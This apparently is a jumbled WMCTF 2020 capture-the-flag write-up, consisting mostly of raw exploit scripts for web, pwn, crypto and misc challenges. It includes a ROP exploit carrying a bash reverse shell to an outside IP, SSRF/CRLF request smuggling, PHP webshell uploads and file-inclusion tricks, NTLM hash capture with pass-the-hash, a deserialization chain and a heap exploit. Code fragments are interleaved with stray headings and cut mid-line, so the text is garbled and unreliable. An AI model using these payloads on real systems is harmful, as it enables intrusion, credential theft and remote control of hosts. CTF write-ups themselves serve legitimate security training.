Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
a = requests.get(burp0_url, headers=burp0_headers,cookies=cookies).text
b = a.split("md5(x + 'FLAG')[:6] == ")[1].split(' ')[0]
return b
def brute_hash():
h = get_hash()
print("bruting hash: " +h)
while True:
nt = os.urandom(5)
m = md5()
m.update(nt + "FLAG")
r = m.hexdigest()[:6]
if r == h:
print("found: " + nt)
return nt
def reg():
hs = brute_hash()
burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/register"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X
10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-
Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Referer": "http://gogogo.wmctf1.wetolink.com/auth/register",
"Content-Type": "application/x-www-form-urlencoded", "Connection": "close",
"Upgrade-Insecure-Requests": "1"}
burp0_data = {"uname": "admin\x00", "pwd": "admin123", "email":
"[email protected]", "hsh": hs}
print(requests.post(burp0_url, headers=burp0_headers,
data=burp0_data,cookies=cookies).text)
def login():
hs = brute_hash()
burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/login"
base64
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X
10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-
Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Referer": "http://gogogo.wmctf1.wetolink.com/auth/login", "Content-
Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-
Insecure-Requests": "1"}
burp0_data = {"uname": "admin\x00", "pwd": "admin123", "hsh": hs}
print(requests.post(burp0_url, headers=burp0_headers,
data=burp0_data,cookies=cookies).text)
url = "http://gogogo.wmctf1.wetolink.com/admin/invoke"
params = collections.OrderedDict([("plugin",
('base.so',open('plug.so','r').read().encode('hex')))])
res = requests.post('http://n1ctf.com', files=params)
body = res.request.body
boundary = res.request.headers['Content-Type']
package='''POST /admin/upload HTTP/1.1
Host: 127.0.0.1
Cookie: o={}
Content-Type: {}
Content-Length: {}
Cache-Control: no-cache
{}
GET /admin/reload HTTP/1.1
Host: 127.0.0.1
Cookie: o={}
GET /
HTTP/1.1'''.replace('\n','\r\n').format(cookies["o"],boundary,res.request.head
ers['Content-Length'] ,body,cookies["o"])
data = {
'fn':'Req',
'arg':'http://127.0.0.1/auth/login?a=1 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n'+package
}
c = requests.post(url, cookies=cookies, data=data)
print(c.content)
http://base.wmctf.wetolink.com/b64.php?filename=../../../../usr/lib/php/20170718/cfgoPHPExt_ne
w.so
gophpbase64decode
leak phpfork
from base64 import *
from pwn import *
import requests
tmp = '''
<?php
sleep(1);
$x = "{context}";
print_r(base64decode($x));
'''
url = 'http://base.wmctf.wetolink.com/b64.php'
# a = 'A'*100
# a = 'A'*132+p64(0xc000000000)+p32(0x100)
# a = a.ljust(164,'\x00')+'\x0a'
# tmp = tmp.format(context=b64encode(a)+'==')
# f = open("./poc.php","w")
# f.write(tmp)
# f.close()
# address = '\x1d\x5f\x82\x6e'
address = '\x1d'
for i in range(5):
for j in range(256):
try:
tmp = address + chr(j)
success(hex(u64(tmp.ljust(8,'\x00'))))
a = 'A'*132+p64(0xc000000000)+p32(0x100)
a = a.ljust(164,'\x00')+tmp
text = b64encode(a)+'=='
print text
data = {
'text':text
}
r = requests.post(url,data=data,timeout=2,proxies=
{'http':'http://127.0.0.1:8080'})
if r.status_code == 200:
if j == 0x3c and i == 0:
continue
address = tmp
break
0x7fd66e825f1d
rop
raw_input(">")
except:
continue
from base64 import *
from pwn import *
import requests
url = 'http://base.wmctf.wetolink.com/b64.php'
'''
bash -i >& /dev/tcp/192.168.174.128/9090 0>&1
'''
tmp = '''
<?php
sleep(1);
$x = "{context}";
print_r(base64decode($x));
'''
base = 0x7fd66e730000
pop_rdi = base+0x000000000016126c
pop_rsi = base +0x0000000000172118
pop_rdx = base+ 0x00000000000acbc3
syscall = base +0x00000000000f9719
pop_rax = base+0x000000000009b2b9
pop_0 = base+0x0000000000171340
for i in range(4096):
print i
mbase = 0xc000000000 +(i<<12)
#a = ("/bin/bash\x00-c\x00bash -i >& /dev/tcp/81.68.151.131/9090
0>&1"+p64(0xc00007d8ac)+p64(0xc00007d8b6)+p64(0xc00007d8b9)).ljust(3*55-
1,'\x00')+p64(pop_rax)+p64(34)+p64(syscall)
a = ("/bin/bash\x00-c\x00bash -i >& /dev/tcp/81.68.151.131/9090
0>&1\x00\x00\x00\x00"+p64(mbase+0x8ac)+p64(mbase+0x8b6)+p64(mbase+0x8b9)).ljus
t(3*55-
1,'\x00')+p64(pop_rdi)+p64(mbase+0x8ac)+p64(pop_0)+p64(0)*2+p64(pop_rsi)+p64(m
base+0x8e8)+p64(pop_rax)+p64(59)+p64(syscall)#+"/bin/bash\x00-c\x00bash -i >&
/dev/tcp/127.0.0.1/9090 0>&1"
tmp = tmp.format(context=b64encode(a)+'==')
data = {
'text':b64encode(a)+'=='
}
r = requests.post(url,data=data,timeout=2)
print r.status_code
print r.text
Make PHP Great Again 2.0
web_checkin2
http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?
file=php://filter/convert.base64-
encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/
root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo
t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
/self/cwd/flag.php
POST /?
content=php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%2
8%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resourc
e=123.php HTTP/1.1
Host: web_checkin2.wmctf.wetolink.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0)
Gecko/20100101 Firefox/78.0§§
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Length: 187
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file"; filename="123123"
<?php system('cat /flag');system('ls /');phpinfo();?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)
def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?content=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'phpinfo' in response.content or 'WMCTF' in
response.content:
print(response.content)
with open("/tmp/flag.txt","a+") as f:
f.write(response.content)
print "[+] Include success!"
return True
http://web_checkin2.wmctf.wetolink.com/?content=/fffffllllllllaaaaaggggggg_as89c79as8
SimpleAuth
NetNtlmv1 hash
sqluser ntlm hash 9e8b5692b2507c3b917cf60a63b12bc3
mimikatz pthSSMSimpacketmssqlclient.py
webweb
https://github.com/bcosca/fatfree
except Exception as e:
print e
return False
def main():
brute_force_tmp_files()
if __name__ == "__main__":
main()
>> try to request url...<br>
<br />
<b>Warning</b>: curl_setopt(): Curl option contains invalid characters (\0)
in <b>C:\phpstudy_pro\WWW\index.php</b> on line <b>4</b><br />
>> nothing.<br>
Responder.py -I eth0 --lm
sqluser::172_17_0_5:003BD64A68125E39500407807B3DAC62159D8306921AE676:003BD64A6
8125E39500407807B3DAC62159D8306921AE676:1122334455667788
python mssqlclient.py 172_17_0_5/[email protected] -hashes
9e8b5692b2507c3b917cf60a63b12bc3:9e8b5692b2507c3b917cf60a63b12bc3 -windows-
auth
<?php
namespace {
class Auth {
const
E_LDAP='LDAP connection failure',
E_SMTP='SMTP connection failure';
//@}
protected
//! Auth storage
$storage='1',
//! Mapper object
$mapper='1',
//! Storage options
$args='1',
//! Custom compare function
$func='1';
public $events=[];
public function __construct(){
//$this->events['disconnect'] = 'F3::AGENT->';
$this->events['disconnect'] = 'F3::config';
}
}
}
namespace CLI{
class WS {
const
//! UUID magic string
Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
//! Max packet size
Packet=65536;
//@{ Mask bits for first byte of header
const
Text=0x01,
Binary=0x02,
Close=0x08,
Ping=0x09,
Pong=0x0a,
OpCode=0x0f,
Finale=0x80;
//@}
//@{ Mask bits for second byte of header
const
Length=0x7f;
//@}
protected
$addr,
$ctx,
$wait,
$sockets,
$protocol,
$agents=[];
public $events=[];
function __construct() {
$this->events['disconnect']='var_dump';
}
function setaddr($a){
$this->addr = $a;
}
}
class Agent {
public $a;
public $b;
protected
$server,
$id=1,
$socket='1',
$flag='1',
$verb='1',
$uri='1',
$headers='1';
public function __construct($ws){
$this->a = '/tmp/sess_smi1esmi1e';
$this->b = 456;
$this->server = $ws;
web_checkin
http://web_checkin.wmctf.wetolink.com/?content=/flag
Misc
Music_game
XMAN_Happy_birthday
flag
Performance_artist
EMNISTCRC644
defcon final ai
}
}
$WS = new WS();
$Auth = new \Auth();
$Agent = new Agent($Auth);
$WS->setaddr($Agent);
echo urlencode(serialize($WS));
}
from PIL import Image
import os
im = Image.open('attachment.png')
charset1 = '0123456789'
charset2 = 'ABCDEF'
dataset1 = 'training'
dataset2 = 'emnist-byclass'
def check(row,col, candidate):
tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
if candidate in charset1:
for fname in os.listdir(f'pngs/{dataset1}/{candidate}'):
t = Image.open(f'pngs/{dataset1}/{candidate}/{fname}')
brainfuck to textflag
sign-in
welcome to WMCTF2020,here is your flag: https://t.me/WMCTF
if t.tobytes() == tmp.tobytes():
return True
return False
elif candidate in charset2:
for fname in os.listdir(f'pngs/{dataset2}/{candidate}'):
t = Image.open(f'pngs/{dataset2}/{candidate}/{fname}')
if t.tobytes() == tmp.tobytes():
return True
return False
guess = '''504B0304140000000800DB93C55086A3
9007D8000000DF01000008000000666C
61672E74787475504B0E823010DD9370
8771DDCCB0270D5BBD0371815A9148AC
6951C2ED9D271F89C62E2693D7F76BB7
DE9FC80D2E6E68E782A326D2E01F81CE
6D55E76972E9BA7BCCB3ACEF7B89F7B6
E90EA16A6EE2439D45179ECDD1C5CCFB
6B9AE489C1218C92B898779D765FCCBB
58CC920B6662C5F91749931132258F32
BBA7C288C5AE1031331A6608409DAC41
9F7724143412907814AB7A9221D6B8DE
D0D25AEC8A634929025C46A33FE5A1D3
1679100323B1ABEE4A7A0708413A19E1
7718165F5D3E73D577798E36D5144B66
315AAE315078F5E51A292469F402504B
01021F00140000000800DB93C55086A3
9007D8000000DF010000080024000000
000000002000000000000000666C6167
2E7478740A0020000000000001001800
4A0A9A64243BD601F9D8AB392436D601
2D00CA13223BD601504B050600000000
010001005A000000FE00000000000000'''
for row, line in enumerate(guess.splitlines()):
for col, val in enumerate(line):
if not check(row, col, val):
print(row, col, val)
row = 20
col = 27
tmp = im.crop((28*col,28*row,28*col+28,28*row+28))
tmp.show()
print(check(row,col,'B'))
Dalabengba
Part1
Part2
part2githubhttps://github.com/MidoriYakumo/Fd
Sig Aztec code
https://manateeworks.com/free-barcode-scanner
Part3
‘5465162526f5f653f5562704f5570395’ ""Y0u_@re_5o_bRaVE
s3cr3t.crypto0x9,0x208
0x9,0x200,1
flag
Music_game_2
librosamfcc_to_audiomfccwav
np.mean(np.abs(mfcc1-mfcc2))2MFCCwav
L1-norm
MFCC
+200wav
0.9
np.mean(np.abs(mfcc1-mfcc2))4
pythonwav
for i in range(20):
for j in range(30):
print('='*50)
print(i, j)
y, sr = librosa.load(path,sr=None)
mfccs = get_wav_mfcc(path)
mfccs = mfccs.T
mfccs[i][j] += 200
wav = librosa.feature.inverse.mfcc_to_audio(mfccs, sr=sr)
fname = f'test_{i}_{j}.wav'
sf.write(fname, wav, sr)
mfcc1 = get_wav_mfcc(fname)
print(np.mean(np.abs(mfcc1-mfcc2)))
ret=model.predict(mfcc1.reshape(1,30,20))
if ret[0][3] > max_score:
max_score = ret[0][3]
print(ret)
print(ret.max(),ret.argmax())
for delta in range(200,400):
print('='*50)
y, sr = librosa.load(path,sr=None)
mfccs = get_wav_mfcc(path)
mfccs = mfccs.T
# print(mfccs[15][11])
# print(mfccs[4][20])
# print(mfccs[2][16])
mfccs[1][11] += delta
# mfccs[4][20] += 200
# mfccs[2][16] += 100
# print(mfccs[1])
wav = librosa.feature.inverse.mfcc_to_audio(mfccs, sr=sr)
fname = f'test.wav'
sf.write(fname, wav, sr)
mfcc1 = get_wav_mfcc(fname)
# print((mfcc1-mfcc2).argmax())
diff = np.mean(np.abs(mfcc1-mfcc2))
print(diff)
ret=model.predict(mfcc1.reshape(1,30,20))
FeedBack
We need your FeedBack! https://forms.gle/SmTytGGhvYxDtuoA7
Crypto
piece_of_cake
print(ret)
print(ret.max(),ret.argmax())
if ret[0][3] > 0.9 and diff <4:
break
max_score = ret[0][3]
import requests
url = 'https://game2.wmctf.wetolink.com:4432/'
session = '.eJwFwdsSQkAAANBfafa1h8S2mWZ6EMYQ0pDwti7r0pa2dpWMf--cCdzxE-
wmsMjBDgS6mUsVw9ZPxbZ2itpiKA2mLtWmh8mWszhDcE2FnkTcd4qx8kXNvZBwqLcKe9SXUnThSj7C
XDax1uv1i7RWqQRi7FPS2bFAInvAE7Y2MjqYUUfpV7oVLnUxWn0PblOl5NPZahMiONxrZzD9SyZfte
RsCF4a7XXkhHpnFkNJeu_BPP8BGEA_PA.XybWJA.JTT_ZES9_dEA46EaKQ9lL2wgemE'
session = requests.post(url,files=
{'upfile':open('down.wav','rb').read()},cookies=
{'session':session}).headers['Set-Cookie'].split(';')[0][8:]
session = requests.post(url,files=
{'upfile':open('down.wav','rb').read()},cookies=
{'session':session}).headers['Set-Cookie'].split(';')[0][8:]
print(session)
babySum
sumsubset-sumsum
https://soreatu.com/posts/crypto-research-subset-su
m-problem/
q =
192359116448169144239732559279167873674991055528723274633585550105988805882314
588820655472460542318699972690928754637295378701423245337531315365873278580242
690480684018217070094366564824180605097399643802487403317451651763211695567182
196794638278905490507370178938754153003096171453989691642021501195619445626100
789234651345443008897426151861259659735437665633698289583784192221631081801280
6039994663130018389148915877140241977970197925777401420049248182571504461
h =
205862450202644247416381466889451705753584436982629845673419003542312234098678
496245050989108734812051677022721812470657380148023723451057574466208711105989
751130012118500476671039723516645310783572817552226133138815812847888851891317
119112290035673185342790228472294281341625029243927396384948462350845827693165
837490995325509946351616404970719915734846507572199409518758474421626356643755
240183759107296301030055873601924541277345803987979508628631863663648575
c =
174326836776806877877770710542637269194160466464062665478768414192232699159805
709026962742906283133814764497402755448631915159420482945832506873726675136923
021901190702445828886191650614068062336166329481012181454991341541184200821021
177593874807666551819798004287508855767634327219980976724411637224437895321802
657408414325075346347925480141051333954906670797338529450025907981864915752525
2102771651790606426529094873286329899722334520351222862771146760669718142
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, q])
m = matrix([v1,v2]);
f, g = m.LLL()[0]
a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(m)
import re
import random
import multiprocessing as mp
from functools import partial
def check(sol, A, s):
"""Check whether *sol* is a solution to the subset-sum problem.
"""
return sum(x*a for x, a in zip(sol, A)) == s
def solve(A, n, k, s, ID=None, BS=22):
N = ceil(sqrt(n)) # parameter used in the construction of lattice
rand = random.Random(x=ID) # seed
# 1. Construct the lattice
# (n+1) * (n+2)
# 1 0 ... 0 a_0*N N
# 0 1 ... 0 a_1*N N
# . . ... . ... .
# 0 0 ... 1 a_n*N N
# 0 0 ... 0 s*N k*N
lat = []
for i, a in enumerate(A):
lat.append([1*(j == i) for j in range(n)] + [N*a] + [N])
lat.append([0]*n + [N*s] + [k*N])
# main loop
itr = 0
start_time = cputime()
while True:
itr += 1
# 2. Randomly shuffle
l = lat[::]
shuffle(l, random=rand.random)
# 3. BKZ!!!
m = matrix(ZZ, l)
t_BKZ = cputime()
m_BKZ = m.BKZ(block_size=BS)
print(f"n={n} {itr} runs. BKZ running time: {cputime(t_BKZ):.3f}s")
# 4. Check the result
for i, row in enumerate(m_BKZ):
if check(row, A, s):
if row.norm()^2 == k:
print(f"n={n} After {itr} runs. FIND SVP!!! {row}\n"
f"Single core time used:
{cputime(start_time):.3f}s")
return True
s = 11204158321431815830823699004382994461036257963
A = [1340215702628887411219893814871952196027482940,
805858400634252066486457597358278644760187448,
121754072205390405751521851103032719538866107,
610840127054948593254098360342339926199311483,
567584462756250755254616807808676796789978676,
958551286247997676437206358962952059138388808,
417903756279989399171444423180314081431548929,
1352035242495312618231103175648738484848345578,
461315275382718884047439562319771093075961481,
847477188893915513747318746115061770142692302,
874155720879083245526025147590736807815650777,
305905426847000872712318388187597275946840422,
514944350802860544274467194605925082388688876,
302275672468301609153226548958138842480771140,
856146043963869280124298289191175750156113613,
267348559799234229950944630415446948975667365,
531341526031225719174558721961815644532861877,
943484124398910041205444173415806652023326775,
209137948164871424051296067183665820093530969,
1349084336130022013883489445684332218727809155,
700304262523833518923048228427240113170629282,
1197301638349030506462011351460280239921873887,
427140782512010716482799205144663328443470047,
155165888433505753371219156174366047639415701,
1236869140273378720284004180754906327122684022,
10226403938513726394530270768695318223965120,
1285010356957124366824585571801620972804961544,
849820724574727238219982114273757400245642410,
50576243188344318702199879685419529785316270,
822504518937909063207531702488715158388086666,
884153037129700163261819924140344984158105101,
791445561496903279043621840517913231343945543,
841881091148319743134645045534389085573854342,
43015337255807401775322825510079311157109902,
1101876923907160882659438931213377618564559079,
575388244876212416252357524573458188801041731,
665616950568766144475224793249210062277739478,
1223332522561222571510018432411575750880151281,
642606837081540453099958525448554983170165351,
823344697730968114274963809734297001333211563,
1000964432474912895464977860626142729740394627,
875634620891341389998555654426637860021580700,
1088561553126448500117277382876207115489853201,
1400059025881336108546582210751357461497085272,
48008335424864361972351038788672538864650042,
219992530827511634882322161954536690777039441,
549630873757445872883113740404824614076635167,
1264138065305940909746380320290804294330499173,
947955004263832945684870481809688770230034597,
1072354902146027055723042642471392749924603987,
91904592640874102871590247778309701251077429,
175933376129925690470132583028283036810685613,
1255935889689336154704241673978355137565602518,
802951693733455786217708599613708479595345508,
150551514955943267998837797548511390934056337,
871212462823768366866463148948361926146759308,
2440034174390484562080929094609545620651486,
130897947070792691116458371713856028756164120,
734739877495371221679670305928316818833946740,
515546568745873733638493726852017924846253431,
897960303321794375914134378150327680953240501,
842224929297838031695484228573049312350252556,
1225315186151537418934235361259120474364531182,
128106093354754023695790533047276875151144241,
462611395922277905077613241085175378312475285,
69445639201818901381531075684343158342796372,
335780621308051587622713859666803241357971353,
1308920072762254798038455291047844325828749100,
1348833039107837479175603530943741166770667613,
183452975714327916324922736116997401007005747,
949054326347556900269630934561025842931981081,
1359905115736513147075796946220804899514849629,
1274255449870646720587506203447516381573675310,
582628946764327875634337763156188560732028123,
1023871723250756467952570370028211822623307363,
571287179857349087405829008232322335965426102,
1019834988436992774119886347730884348972675039,
1022571960862639012413656046194887672052253958,
609723861588808745043013432780916260005309387,
1390264222373563190028061239561747769393044432,
1072774199861913452424431008897789849895219526,
85682786614260841396194616046720694118102221,
56657983335326702157268238149957980044665934,
654088775500666454666290389053586301366581400,
1220811823886160570686645162797939672912641581,
752488360885524111254212011696679856089848316,
395003703664709057008215344364103632801084690,
1013763057386849457015694345147722802633641282,
44963541977765603438650162475382137726561457,
1077958607717902254486280142663165153050013238,
1087041124653501892900000311998411542764798950,
1312907908182780301160053631745330513254683179,
56191117773683164297502879274501094704502459,
1202615965804292328494221363781981314000446654,
252354865602957036178368002464251556153895218,
421538300359148088624373108646794989375120236,
728721086262998323314983191800606622848165558,
976531949158023615255292339594944414890158119,
512758925640571556478372986621122330624131871,
1203804055334990427981174905625916475431137967,
1079987367610190741653290760486640539505674271,
715425317493887461493223299403293270972673385,
139406798087177350042077615535630186091689268,
519548579918308345019971895081177031939854754,
813944567522039003089525631692064401007018103,
949304565657348461654159218048076682542638979,
8flag
Game
231557490402051988003053704838481540015993765,
304318441629479536977398892518701426332350775,
48178589845369222782790160031079670080270473,
603257489558135781809870364521823839892942873,
493259005893182681304742454048620467807351988,
195200378342210222552837786766617634877930733,
473534752513652058500694768248203951252418569,
361648097211618414097488611021432540785160701,
391032280023502286229779903161339516441752739,
589648713558203727958659771960943165661441617,
201576873033734454447025600072433354803078452,
660036513111162230073615629627354876866437568,
1366855633135475072713284666639900459877049296,
1132544579343577751696122309899435552009217117]
k = 20
n = 120
solve_n = partial(solve, A, n, k, s)
CPU_CORE_NUM = 8
with mp.Pool(CPU_CORE_NUM) as pool:
reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))
# terminate all processes once one process returns
for res in reslist:
if res:
pool.terminate()
break
# python3
import re
from hashlib import sha256
from itertools import product
import fuckpy3
from pwn import *
from copy import deepcopy
s = string.ascii_letters + string.digits
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def hex_xor(h1,h2):
# print('xor', h1,h2)
return byte_xor(h1.unhex(),h2.unhex()).hex()
r = remote("81.68.174.63", 16442)
# r = remote("127.1", 10000)
# context.log_level = 'debug'
# PoW
r.recvuntil('sha256')
rec = r.recvline().decode()
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
digest = re.findall(r'== (.*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")
print('Calculating hash...')
for i in product(s, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if sha256(guess.encode()).hexdigest() == digest:
print(guess)
break
r.sendlineafter(b'Give me XXXX: ', prefix.encode())
r.recvuntil(b'IV is: ')
iv = r.recvline().strip()
def enc(data):
try:
global iv
print('data', data)
data = hex_xor(data[:32], iv) + data[32:]
r.sendlineafter(b'exit', b'1')
r.sendlineafter(b'(in hex): ', data)
res = r.recvline()
iv = res.strip()[-32:]
print('c',res)
return res
except:
print('error',data)
exit(1)
guessed = ''
for idx in range(16):
padding = '00'*(31-idx)
std_iv = deepcopy(iv)
std = enc(padding)[32:64]
# print(std)
for i in range(256):
res = enc(padding + guessed + hex(i)[2:].zfill(2))[32:64]
if res == std:
print(i)
guessed += hex(i)[2:].zfill(2)
break
print('guessed',guessed)
Pwn
roshambo
for idx in range(16):
padding = '00'*(31-idx)
std_iv = deepcopy(iv)
std = enc(padding)[64:96]
# print(std)
for i in range(256):
res = enc(padding + guessed + hex(i)[2:].zfill(2))[64:96]
if res == std:
print(i)
guessed += hex(i)[2:].zfill(2)
break
print('guessed',guessed)
for idx in range(16):
padding = '00'*(31-idx)
std_iv = deepcopy(iv)
std = enc(padding)[96:128]
# print(std)
for i in range(256):
res = enc(padding + guessed + hex(i)[2:].zfill(2))[96:128]
if res == std:
print(i)
guessed += hex(i)[2:].zfill(2)
break
print('guessed',guessed)
r.sendlineafter(b'exit', b'2')
r.sendlineafter(b'(in hex): ', guessed)
r.interactive()
from pwn import *
import time
context.log_level="debug"
def msg(code1,code2,l,data):
return code1+p64(code2)+p64(l)+data
p=remote("81.68.174.63",64681)
#p=process("./roshambo",env = {'LD_PRELOAD' : './libc.so.6'})
mode="C"
room="kirin"
name="kirin"
p.sendlineafter(": ",mode)
p.sendlineafter(": ",room)
p.recvuntil("Your room: ")
room=p.recvuntil("\n")[:-1]
p.sendlineafter(": ",name)
p2=remote("81.68.174.63",64681)
name="kirin"
p2.sendlineafter(": ","L")
p2.sendlineafter(": ",room)
p2.sendlineafter(": ",name)
msg2=msg("\x00"*8,8,0x68,"a"*0x68)
msg3=msg("\x00"*8,4,0,"")
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x18))
p.sendafter("say? ","aaaaa")
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p.sendafter("say? ","b"*0x27)
#gdb.attach(p)
for i in range(6):
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0xf8-i*0x10))
p.sendafter("say? ",chr(0x61+i)*(0xf8-i*0x10-1))
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x48))
p.sendafter("say? ","b"*0x47)
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0))
p.sendafter("say? ","b"*0x18+p64(0x541))
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p.sendafter("say? ","b"*0x18)
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p.sendafter("say? ","b")
p.recvuntil("leave: b")
s="\x00"+p.recv(5)
libc=u64(s.ljust(8,"\x00"))+0x7ffff77c5000-0x7ffff7bb1000
print hex(libc)
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p.sendafter("say? ","b"*0x10)
p.recvuntil("b"*0x10)
s=p.recv(6)
heap=u64(s.ljust(8,"\x00"))
print hex(heap)
rop="./flag\x00\x00"+"a"*8+p64(heap-
0x55aee017a390+0x55aee017a400)+p64(libc+0x23e6a)+p64(0)+p64(libc+0x1b96)+p64(0
)+p64(libc+0x439c8)+p64(2)+p64(libc+0x11007F)
rop+=p64(libc+0x2155f)+p64(6)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64
(0x40)+p64(libc+0x439c8)+p64(0)+p64(libc+0x11007F)
rop+=p64(libc+0x2155f)+p64(1)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64
(0x40)+p64(libc+0x439c8)+p64(1)+p64(libc+0x11007F)
rop+=p64(libc+0x2155f)+p64(0)+p64(libc+0x23e6a)+p64(heap)+p64(libc+0x1b96)+p64
(0x40)+p64(libc+0x439c8)+p64(0)+p64(libc+0x11007F)
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0))
p.sendafter("say?
","b"*0x18+p64(0x41)+p64(libc+0x3ed8e8)+p64(0)*6+p64(0x21)+p64(0)*3+p64(0x21)+
rop)
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p.sendafter("say? ","b")
p.sendafter("kirin >> ",msg3)
p.sendafter("kirin >> ",msg2)
p.sendlineafter("size: ",str(0x28))
p2.close()
cfgo-CheckIn
upx
dfs
p2=remote("81.68.174.63",64681)
name="kirin"
p2.sendlineafter(": ","L")
p2.sendlineafter(": ",room)
p2.sendlineafter(": ",name)
data="a"*0xc0+p64(heap-0x55aee017a390+0x55aee017a410)+p64(libc+0x2155f)
msg2=msg("[RPC]\x00\x00\x00",3,0xd0,data)
p2.sendafter("kirin >> ",msg2)
p.recvuntil("say? ")
p.recvuntil("aaaa")
p.send(p64(libc+0x520A5))
p.interactive()
#include<stdio.h>
#include<string.h>
#include <math.h>
#include<stdlib.h>
#include<string>
using namespace std;
// char map[] = "00000000111000100000+1*0000000000000";
char map[100000] = {0};
bool visit[100000];
int len;
int s_len;
void walk(int x, int y, string ans){
if (visit[x + y * s_len])
return;
visit[x + y * s_len] = true;
if(map[x + y * s_len] == '0'){
return;
}
else if (map[x + y * s_len] == '*'){
printf("%s\n", ans.c_str());
printf("success!\n");
exit(0);
}
if (x > 0)
.....
exp
walk(x-1, y, ans+"a");
if (x < s_len)
walk(x+1, y, ans+"d");
if (y > 0)
walk(x, y-1, ans+"w");
if (y < s_len)
walk(x, y+1, ans+"s");
}
int main(){
/*
char map[12000] = {0};
*/
scanf("%s", map);
len = strlen(map);
s_len = sqrt(len);
int start_x, start_y, end_x, end_y;
for (int i = 0; i < len; i++){
